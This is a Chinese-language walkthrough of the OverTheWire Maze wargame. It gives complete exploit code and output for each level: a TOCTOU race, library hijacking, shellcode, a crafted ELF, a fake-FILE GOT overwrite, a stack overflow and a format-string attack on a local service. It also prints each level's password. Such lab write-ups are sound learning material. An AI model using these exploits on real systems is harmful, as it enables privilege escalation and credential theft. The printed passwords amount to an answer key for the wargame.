OverTheWire - Maze

level 0 → level 1

1
2
3
4
5
6
7
SSH Information
Host: maze.labs.overthewire.org
Port: 2225
User: maze0
Pass: maze0
Passwords: /etc/maze_pass/
Binaries: /maze/

Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9 关(0-8)。涵盖 TOCTOU race condition、library hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace 反调试、格式字符串漏洞等。

所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info 和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。

1
2
3
4
5
6
7
8
9
10
11
maze0@maze:~$ ls -la /maze/
total 140
-r-sr-x--- 1 maze1 maze0 13408 maze0
-r-sr-x--- 1 maze2 maze1 12252 maze1
-r-sr-x--- 1 maze3 maze2 12708 maze2
-r-sr-x--- 1 maze4 maze3 4728 maze3
-r-sr-x--- 1 maze5 maze4 16220 maze4
-r-sr-x--- 1 maze6 maze5 14884 maze5
-r-sr-x--- 1 maze7 maze6 14204 maze6
-r-sr-x--- 1 maze8 maze7 14716 maze7
-r-sr-x--- 1 maze9 maze8 16324 maze8

每个 level 的 binary 命名规则:/maze/mazeN 是 setuid maze(N+1),跑在 mazeN 下,目标是读 /etc/maze_pass/maze(N+1)

经典 TOCTOU (Time-of-check Time-of-use) 竞争条件。

Binary 逻辑(r2 反汇编):

  1. memset(buf, 0, 0x14) — 清空 20 字节 buffer
  2. access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK) — 用 real uid (maze0) 检查可读性
  3. 如果 access 失败 → 直接 return
  4. setresuid(maze1, maze1, maze1) — 全部提权到 maze1
  5. open(path, O_RDONLY)read(fd, buf, 19)write(1, buf, 19) — 读取并输出

race window 在 access() 和 open() 之间,只有十几个指令周期。ln -sf 太慢,需要用 rename() 原子交换预创建的 symlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// toggle.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"

int main() {
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
while (1) {
rename("/tmp/_m0", TARGET); // 原子 → maze0
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
rename("/tmp/_m1", TARGET); // 原子 → maze1
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
}
}
1
2
3
4
5
6
7
8
9
maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c
maze0@maze:/tmp$ ./toggle & # 后台 symlink 切换
maze0@maze:/tmp$ for i in $(seq 1 1000); do
result=$(/maze/maze0 2>/dev/null)
if [ -n "$result" ]; then
echo "HIT: $result"; break
fi
done
HIT: **********

原理:rename() 在同一文件系统上是原子的,target 始终指向一个有效文件(无 broken symlink 窗口)。access() 通过时 link 指向 maze0(maze0 可读),open() 时已被换为 maze1(maze1 可读)。

kfL7RRfpkY

level 1 → level 2

maze1 的 binary 链接了一个不存在的 ./libc.so.4

1
2
3
4
5
6
maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...

maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED
NEEDED ./libc.so.4
NEEDED libc.so.6

Binary 只调用 puts("Hello World!")。创建 hook library 劫持 puts() 即可读密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// hookputs.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int puts(const char *message) {
FILE *fp;
char buffer[30] = {0};
fp = fopen("/etc/maze_pass/maze2", "r");
if (fp) { fread(buffer, 29, 1, fp); fclose(fp); }
printf("PASSWORD: %s\n", buffer);
return printf("Hooked: %s\n", message ? message : "(null)");
}
1
2
3
4
5
maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \
-o libc.so.4 hookputs.c -ldl
maze1@maze:/tmp/work$ /maze/maze1
PASSWORD: **********
Hooked: Hello World!

注意需要 -fno-stack-protector 关闭 stack canary,否则 ld 链接时报 __stack_chk_fail_local 未定义。

PBeZRPjetr

level 2 → level 3

maze2 的 binary 从 argv[1] 复制 8 字节到栈上 buffer,然后 call *buffer — 8 字节 shellcode 约束。

反汇编要点:

1
2
3
4
cmpl $2, 8(%ebp)          ; if argc != 2 → exit(1)
strncpy(buf, argv[1], 8) ; copy 8 bytes
mov buf_addr, %eax
call *%eax ; execute shellcode

解决方案:真正 shellcode 存入环境变量 SC,8 字节只做 push <addr>; ret(6 字节)。

maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
maze2@maze:/tmp/work$ python3 -c "
from pwnlib.asm import asm
import sys
sc = asm('
xor eax,eax;mov al,70
xor ebx,ebx;mov bx,0x3a9b
xor ecx,ecx;mov cx,0x3a9b
int 0x80
xor eax,eax;push eax
push 0x68732f2f;push 0x6e69622f
mov ebx,esp;xor ecx,ecx
xor edx,edx;mov al,11
int 0x80
', arch='i386')
sys.stdout.buffer.write(b'\x90'*200 + sc)
" > sc.bin

maze2@maze:/tmp/work$ export SC=$(cat sc.bin)
maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h>
#include <stdlib.h>
int main(){printf("SC:%p\n",getenv("SC"));}'

maze2@maze:/tmp/work$ ./getaddr
SC at 0xffffdcd0

maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c "
from pwnlib.asm import asm
import sys
sys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386'))
")
$ cat /etc/maze_pass/maze3
DSEiCewQOv

level 3 → level 4

maze3 的 binary 是静态链接的(statically linked),使用自修改代码(self-modifying code)。

mprotect() 设置代码段 RWX,然后用 key 0x12345678 XOR 解码 d1 函数区域,reveal 出一段 shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则 setreuid(maze4) + execve("/bin/sh")

1
2
3
# <<<(here-string)
maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4"
**********

注意:0x1337c0de 作为 int 是 little-endian \xde\xc0\x37\x13

vghylBpihH

level 4 → level 5

maze4 的 binary 读取用户提供的文件,解析为 ELF header + program header,验证通过后 execv() 执行。

验证逻辑(反汇编):

  1. read(fd, &ehdr, 0x34) — 读 52 bytes ELF header 到栈上
  2. lseek(fd, ehdr.e_phoff, SEEK_SET) — 定位到 program header
  3. read(fd, &phdr, 0x20) — 读 32 bytes program header
  4. 检查 1: phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个 byte 乘积)
  5. 检查 2: stat.st_size <= 0x7b(文件大小 ≤ 123 bytes)
  6. puts("valid file, executing"); execv(file, NULL, NULL);

execv() 保留 setuid 权限 — 但 shell (/bin/sh) 会主动 drop privilege。需要编译一个专用 reader binary。

1
2
3
4
5
6
7
8
9
maze4@maze:/tmp/work$ cat > reader.c << EOF
#include <unistd.h>
#include <fcntl.h>
int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0);
int n=read(fd,b,49);write(1,b,n);return 0;}
EOF

maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c
maze4@maze:/tmp/work$ ln -sf reader r

ELF header 与 shebang #!/tmp/maze4w/r\n 重叠。e_ident[7][8] 由 shebang 的第 7、8 字节决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
maze4@maze:/tmp/work$ python3 -c "
import struct
sh = b'#!/tmp/maze4w/r\n'
b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a')
prod = b7 * b8 # 0x295d
pad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置)
data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16
open('elf_file','wb').write(data)
"

maze4@maze:/tmp/work$ chmod +x elf_file
maze4@maze:/tmp/work$ /maze/maze4 elf_file
valid file, executing
**********
  • shebang 指向编译好的 reader binary(不 drop privilege)
  • ELF header 字节与 shebang 重叠,e_ident[7][8] 必须是 shebang 的实际字符
  • e_phoff = 0x20 让 program header 与 ELF header 尾部重叠
  • p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident 字节的乘积
fobwgnzRy0

level 5 → level 6

maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用 foo(user, pass) 校验。

反编译逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
int foo(char* user, char* pass) {
char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c};
for (int i = 0; i < strlen(pass); ++i) {
p[i] -= user[i] + 2 * i - 0x41;
}
int i = strlen(pass);
do {
i -= 1;
if (i == 0) return 1;
} while (pass[i] == p[i]);
return 0;
}

要 pass:user[i] + 2*i - 0x41 = 0user[i] = chr(0x41 - 2*i)。此时 p 数组不变,key = 原始 p 值 = printlol

Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用 system("/bin/sh")

但 pipeline 传入 input 时 system() 产生的 shell 会收到 SIGTTOU。需要使用 pty:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pty, os, time

pid, fd = pty.fork()
if pid == 0:
os.execv("/maze/maze5", ["/maze/maze5"])
else:
time.sleep(0.5)
os.write(fd, b"A?=;9753\n")
time.sleep(0.3)
os.write(fd, b"printlol\n")
time.sleep(0.3)
os.write(fd, b"cat /etc/maze_pass/maze6\n")
time.sleep(0.5)
while True:
data = os.read(fd, 4096)
if not data: break
print(data.decode(errors="ignore"), end="")
1
2
3
4
5
6
X----------------
Username: A?=;9753
Key: printlol

Yeh, here's your shell
**********
dOM2C7ZKlG

level 6 → level 7

maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE 的组合题。

1
2
3
4
5
6
maze6@maze:~$ /maze/maze6
usage: /maze/maze6 file2write2 string

maze6@maze:~$ /maze/maze6 /tmp/out test
maze6@maze:~$ cat /tmp/out
/tmp/out : khin # "test" XOR 0x2A per byte = khin

Binary 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
main:
sub esp, 0x104 ; buf[260] at ebp-0x104
cmp [ebp+8], 3 ; argc == 3?
jne usage
; fd = fopen(argv[1], "w")
call fopen ; → eax = 0x0804c1a0 (deterministic)
mov [ebp-4], eax ; fd at ebp-4
; strcpy(buf, argv[2])
lea eax, [ebp-0x104]
push [ebp+0xc]+8 ; argv[2]
push eax
call strcpy ; NO bounds check
; len = strlen(buf)
; memfrob(buf, len) ; XOR each byte with 0x2A
call strlen
push eax
lea eax, [ebp-0x104]
push eax
call memfrob
; fprintf(fd, "%s : %s\n", argv[1], buf)
push [ebp-0x104] ; buf
push argv[1]
push "%s : %s\n"
push [ebp-4] ; fd
call fprintf
; exit(0)
push 0
call exit ; never returns

安全属性(readelf -l + objdump -R):

1
2
3
4
5
ASLR          off (`randomize_va_space=0`)
RELRO none — GOT writable
NX disabled — GNU_STACK RWE
Stack canary none (`-fno-stack-protector`)
PIE none — fixed base 0x08048000

关键常量(ASLR off 下固定):

1
2
3
4
5
6
libc 32-bit base     = 0xf7d82000
_IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8)
fopen → FILE* = 0x0804c1a0 (heap)
buf = 0xffffda74 (ebp-0x104)
strcpy@got = 0x0804b204
exit@got = 0x0804b208

栈布局(从低到高):

1
2
3
4
5
6
7
ebp-0x104  buf[0]        ← strcpy 目标
...
ebp-0x04 fd (FILE*) ← offset 256 from buf
ebp saved ebp
ebp+0x04 return addr
ebp+0x08 argc
ebp+0x0c argv

漏洞利用链

目标:覆写 exit@got 为 shellcode 地址,让 exit(0) 跳转到 shellcode。

约束

  1. strcpy(buf, argv[2]) 只能通过 argv 传入,不能含 \x00(否则 strcpy 截断)
  2. memfrob(buf, len) XOR 整个 buf 区域 — 所有数据需 pre-XORpayload_byte ^ 0x2A = desired_byte
  3. fprintf 不接受 fake FILE* → 需要在栈上构造合法的 _IO_FILE 结构
  4. exit(0) 无 return → 只能通过 GOT overwrite 劫持控制流

关键洞察 1:pre-XOR 一切

1
2
3
4
5
6
def pre_xor(val):
return val ^ 0x2A2A2A2A # 每个字节 XOR 0x2A

# memfrob 会把 buf[i] ^= 0x2A
# 所以放入 buf 的字节 = desired_byte ^ 0x2A
# → 经过 memfrob 后恢复为 desired_byte

关键洞察 2:argv[1] 即 shellcode 地址

fprintf 输出 "%s : %s\n",第一个 %sargv[1](文件名)。如果 argv[1] 恰好是 4 字节,则 exit@got 的前 4 字节 = argv[1] 的内容。

因此将 argv[1] 设为 4 字节的 shellcode 地址(\x74\xda\xff\xff = 0xffffda74),fopen 以 "w" 模式打开这个怪文件名不会有问题(Linux 允许任意非 \x00/ 的字节做文件名)。只需从 /tmp 目录运行,相对路径刚好 4 字节。

关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE 布局

通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:

1
2
3
4
5
6
7
8
9
10
offset  field              real FILE value    our fake FILE
------ ---- ---------------- -------------
0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES)
0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got)
0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer)
0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000)
0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain)
0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush)
0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock)
0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)

关键点:

  • _IO_write_base == _IO_write_ptr == exit@got → fprintf 直接写入 GOT
  • _IO_write_end 远大于输出长度 → 永远不会触发 buffer flush(避免 vtable overflow 调用)
  • _lock 复用真实 FILE 的 lock(单线程程序,无竞争)
  • vtable 指向 libc 的合法 _IO_file_jumps(通过 _IO_validate_vtable 检查)

Exploit 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import struct, os

def pre_xor_dword(val):
return val ^ 0x2A2A2A2A

def pre_xor_bytes(data):
return bytes([b ^ 0x2a for b in data])

# ---- addresses (ASLR off, glibc 2.39) ----
buf_addr = 0xffffda74
exit_got = 0x0804b208
libc_base = 0xf7d82000
io_file_jumps = libc_base + 0x002287a8 # 0xf7faa7a8
real_lock = 0x0804c238 # reuse fopen's lock

# ---- build fake FILE (0x98 bytes) ----
fake_file_off = 0x30 # offset in buf
fake_file_addr = buf_addr + fake_file_off

fake = b''
fake += struct.pack('<I', pre_xor_dword(0xfbad2480)) # 0x00 _flags
fake += struct.pack('<I', pre_xor_dword(0)) * 3 # 0x04-0x0C read ptrs
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x10 _IO_write_base
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x14 _IO_write_ptr
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x18 _IO_write_end
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x1C _IO_buf_base
fake += struct.pack('<I', pre_xor_dword(exit_got+0x1000))# 0x20 _IO_buf_end
for _ in range(5): fake += struct.pack('<I', pre_xor_dword(0)) # 0x24-0x34
fake += struct.pack('<I', pre_xor_dword(2)) # 0x38 _fileno
for _ in range(3): fake += struct.pack('<I', pre_xor_dword(0)) # 0x3C-0x44
fake += struct.pack('<I', pre_xor_dword(real_lock)) # 0x48 _lock
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x4C _offset (8 bytes)
for _ in range(4): fake += struct.pack('<I', pre_xor_dword(0)) # 0x54-0x60
fake += struct.pack('<Q', pre_xor_dword(0)) # 0x64 __pad5
fake += struct.pack('<I', pre_xor_dword(0)) # 0x6C _mode
for _ in range(9): fake += struct.pack('<I', pre_xor_dword(0)) # 0x70-0x93
fake += struct.pack('<I', pre_xor_dword(io_file_jumps)) # 0x94 vtable

assert len(fake) == 0x98

# ---- shellcode: execve("/bin/sh") ----
sc = (
b'\x31\xc0\x50\x68\x2f\x2f\x73\x68'
b'\x68\x2f\x62\x69\x6e\x89\xe3\x50'
b'\x53\x89\xe1\x99\xb0\x0b\xcd\x80'
)
sc_prexor = pre_xor_bytes(sc)

# ---- assemble payload ----
payload = sc_prexor
payload += bytes([0x2a] * (fake_file_off - len(payload))) # pad to fake FILE
payload += fake
payload += bytes([0x2a] * (0x100 - len(payload))) # pad to fd
payload += struct.pack('<I', pre_xor_dword(fake_file_addr))# overwrite fd

# ---- argv[1] = 4 bytes = buf_addr ----
argv1 = struct.pack('<I', buf_addr) # \x74\xda\xff\xff

# ---- execute ----
os.chdir('/tmp')
os.execv('/maze/maze6', ['/maze/maze6', argv1, payload])

执行:

1
2
3
maze6@maze:/tmp$ python3 exploit.py
$ cat /etc/maze_pass/maze7
**********

技术要点

为什么 fake FILE 不触发 vtable overflow?

fprintf 输出总长度 ≈ len(argv[1]) + 3 + len(buf) + 1 ≈ 4 + 3 + 260 + 1 = 268 bytes。_IO_write_end - _IO_write_base = 0x1000(4KB),远超输出长度。_IO_putc 宏检测到 _IO_write_ptr < _IO_write_end 时直接内存写入,不触发 __overflow() → vtable 调用。因此 vtable 仅需通过 _IO_validate_vtable 的地址范围检查,不需要实际调用。

为什么 lock 复用真实 FILE 的?

glibc 的 _IO_lock_lock(fp) 检查 fp->_lock != NULL 才会加锁。用真实 FILE 的 lock(0x0804c238)保证 lock 结构合法且初始为 unlocked 状态。

为什么 memfrob 不影响 shellcode?

所有放入 payload 的字节都经过 pre_XORbyte ^ 0x2A)。memfrob 再 XOR 一次恢复原值。因此 shellcode 和 fake FILE 在 XOR 后回到预期状态。

B6XkM3Syq6

level 7 → level 8

/maze/maze7 是一个 ELF section header dumper。读取攻击者提供的 ELF 文件,信任 header 里的 e_shoffe_shnume_shentsizee_shstrndx,循环打印 section 信息。

漏洞点在第二次读取 section header:

1
2
read(fd, &shdr_on_stack, e_shentsize);
printf(strtab + shdr.sh_name, shdr.sh_addr, shdr.sh_size);

shdr_on_stack 是固定大小的 Elf32_Shdr,但 e_shentsize 完全由文件控制。设大以后 read() 会从 section header 覆盖到 saved return address。

live 调试测得偏移:section-header stack buffer + 64 → saved eip。

直接覆盖会先在 free(ptr) / free(strs) 崩掉,因为栈上的 heap 指针也被污染。稳定做法:

  1. 构造最小 fake ELF
  2. e_shentsize = 220,触发大读
  3. 第一段 section header 保持基本合法,让程序走到 printf()
  4. 覆盖局部变量 ptr = NULLstrs = NULL,让后续 free(NULL) 安全返回
  5. sh_name 不用 string table 偏移,放成一个可读 rodata 绝对地址,满足 printf(ptr + sh_name, ...)
  6. saved eip 跳到栈上 NOP sled,shellcode 执行 setresuid(15008,15008,15008); execve('/bin/sh')

利用生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
from pathlib import Path
import struct

def ehdr(e_shoff, e_shnum, e_shentsize, e_shstrndx):
e=bytearray(52); e[:4]=b'\x7fELF'; e[4]=1; e[5]=1; e[6]=1
struct.pack_into('<I',e,0x20,e_shoff); struct.pack_into('<H',e,0x2e,e_shentsize); struct.pack_into('<H',e,0x30,e_shnum); struct.pack_into('<H',e,0x32,e_shstrndx)
return e

def build(ret, buf, path):
data=bytearray(b'\x00'*0x800)
data[:52]=ehdr(0x100,0,220,0)
data[0x180:0x183]=b'\x00Z\x00'
sc=bytes.fromhex('31c0b0a431db66bba03a31c966b9a03a31d266baa03acd8031c050682f2f7368682f62696e89e3505389e131d2b00bcd80')
payload=bytearray(b'\x00'*220)
# ptr will be overwritten to NULL; sh_name becomes an absolute readable string pointer.
struct.pack_into('<I', payload, 0x00, 0x0804a008)
struct.pack_into('<I', payload, 0x0c, 0x11111111) # sh_addr
struct.pack_into('<I', payload, 0x10, 0x180) # sh_offset
struct.pack_into('<I', payload, 0x14, 3) # sh_size
payload[72:74]=b'A\x00'
# Overwritten locals after 40-byte shdr.
struct.pack_into('<I', payload, 40, 0) # ptr local -> NULL; printf uses absolute sh_name
struct.pack_into('<I', payload, 44, 0) # var_10h scratch
struct.pack_into('<I', payload, 48, 0) # strs local -> NULL; free(NULL) safe
struct.pack_into('<I', payload, 52, 0) # shdr counter
struct.pack_into('<I', payload, 56, 0x42424242) # saved ebx
struct.pack_into('<I', payload, 60, 0x43434343) # saved ebp
struct.pack_into('<I', payload, 64, ret) # saved eip
payload[80:160]=b'\x90'*80
payload[160:160+len(sc)]=sc
data[0x100:0x100+len(payload)]=payload
Path(path).write_bytes(data)

if __name__ == '__main__':
import sys
ret=int(sys.argv[1],16) if len(sys.argv)>1 else 0xffffdb70
buf=int(sys.argv[2],16) if len(sys.argv)>2 else 0xffffdb14
build(ret, buf, 'maze7_exploit.elf')
print(hex(ret), hex(buf))

执行:

1
2
3
4
5
maze7@maze:/tmp$ /maze/maze7 maze7_exploit.elf
$ id
uid=15008(maze8) gid=15007(maze7) groups=15007(maze7)
$ cat /etc/maze_pass/maze8
**********
eQdZB1qy6L

level 8 → level 9

/maze/maze8 是 TCP format string service。接受端口参数监听本地,错误口令路径:

1
2
3
recv(client_fd, input, 511, 0);
snprintf(reply, 512, input);
send(client_fd, reply, strlen(reply), 0);

探测 format offset:

1
AAAA.%1$08x -> AAAA.41414141

payload 开头的 dword 就是第一个 positional argument。strlen()snprintf() 后立刻调用,可覆盖 strlen@got

1
strlen@got = 0x0804b268

payload 结构:

1
2
3
4
5
6
payload  = p32(strlen_got)
payload += p32(strlen_got + 2)
payload += b"%<low-8>x%1$hn"
payload += b"%<high-low>x%2$hn"
payload += b"\x90" * pad
payload += shellcode

最初尝试把 strlen@got 指向 /bin/sh shellcode。GDB 下能看到成功执行 /usr/bin/dash,但远程 socket 没有交互输出:/bin/sh 的 stdin/stdout 不等于 client socket。

最终解法是不 spawn shell,而是让 shellcode 直接完成取证:

1
2
3
4
5
setresuid(15009,15009,15009)
open('/etc/maze_pass/maze9', O_RDONLY)
read(fd, esp, 64)
write(4, esp, n) ; accepted client fd
exit(0)

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
import socket
import struct
import subprocess
import sys
import time
import select

PORT = 31338
STRLEN_GOT = 0x0804b268
TARGET = 0xffffda50

# setresuid(15009,15009,15009); open('/etc/maze_pass/maze9'); read(fd, esp, 64); write(4, esp, n); exit(0)
SC = bytes.fromhex(
'31c0b0a431db66bba13a89d989dacd80'
'31c05068617a65396873732f6d68655f7061682f6d617a682f65746389e331c931d2b005cd80'
'89c389e1b240b003cd80'
'89c231dbb304b004cd80'
'31dbb001cd80'
)


def payload_for(target):
low = target & 0xffff
high = (target >> 16) & 0xffff
writes = [(STRLEN_GOT, low, 1), (STRLEN_GOT + 2, high, 2)]
writes.sort(key=lambda item: item[1])
prefix = struct.pack('<II', writes[0][0], writes[1][0])
count = len(prefix)
pad1 = (writes[0][1] - count) % 0x10000
pad2 = (writes[1][1] - writes[0][1]) % 0x10000
fmt = prefix + f'%{pad1}x%1$hn%{pad2}x%2$hn'.encode()
return fmt + b'\x90' * (200 - len(fmt)) + SC + b'\n'


proc = subprocess.Popen(['/maze/maze8', str(PORT)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(0.4)
try:
sock = socket.create_connection(('127.0.0.1', PORT), timeout=2)
sock.recv(200)
sock.sendall(payload_for(TARGET))
end = time.time() + 4
out = b''
while time.time() < end:
readable, _, _ = select.select([sock], [], [], 0.2)
if not readable:
continue
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
sys.stdout.buffer.write(out)
finally:
proc.terminate()
try:
proc.wait(timeout=1)
except subprocess.TimeoutExpired:
proc.kill()

live 输出:

1
2
maze8@maze:/tmp$ python3 solve_maze8_readpass.py
**********

完成证明:

1
2
3
4
5
$ ssh -p 2225 maze9@maze.labs.overthewire.org
maze9@maze:~$ id
uid=15009(maze9) gid=15009(maze9) groups=15009(maze9)
maze9@maze:~$ ls -l /maze /etc/maze_pass/maze9
-r-------- 1 maze9 maze9 11 Apr 3 15:19 /etc/maze_pass/maze9
TtMMzTuXyi